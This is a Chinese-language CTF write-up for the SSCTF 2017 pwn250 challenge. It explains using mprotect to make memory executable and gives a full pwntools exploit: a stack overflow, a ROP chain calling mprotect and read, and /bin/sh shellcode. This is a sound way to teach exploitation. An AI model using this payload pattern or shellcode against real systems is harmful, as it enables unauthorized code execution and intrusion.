ssctf250-2

ssctf-2017

<1>. mprotect
int mprotect(const void *start, size_t len, int prot);
mprotect()函数把自start开始的、长度为len的内存区的保护属性修改为prot指定的值。
思路:
将shellcode写进一段具有可写权限的段里,然后用mprotect将对应的段修改为可执行,再跳到布置好的shellcode里。

先给 mprotect 找一段可写的内存位置~~~
mprotect_addr = 0x080ec000
length = 0x1000
prot = 7
mprotect(0x080ec000,0x1000,7)
“”
mprotec = 0x0806E070
“”

payload = “A”*0x3A + “BBBB” + p32(mprotect) + p32(pppr_addr ) + p32(mprotect_addr) + p32(0x1000) + p32(7)
payload += p32(read) +p32(mprotect_addr) + p32(0) + p32(mprotect_addr) + p32(0x1000)

为什么使用 pppr_ret,因为需要给read传递3个参数,但是 mprotect 的参数还在栈中,要把它pop掉~
pppr_ret = 0x0804945D
“”

最终exp:
from pwn import *

p = process(‘./pwn250’)

mprotect = 0x0806E070
mprotect_start = 0x080ec000
read_addr = 0x0806D510
pppr_addr = 0x0804945D
shellcode = “\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73”
shellcode += “\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0”
shellcode += “\x0b\xcd\x80”

p.recvuntil(‘Size]’)
p.send(‘102\n’)
p.recvuntil(‘Data]’)

payload = “A”*0x3a + “BBBB” + p32(mprotect) + p32(pppr_addr) + p32(mprotect_start) + p32(0x1000) + p32(7)
payload += p32(read_addr) + p32(mprotect_start) + p32(0) + p32(mprotect_start) + p32(0x1000)

p.send(payload)
p.send(shellcode)
p.recvline()
p.interactive()

“”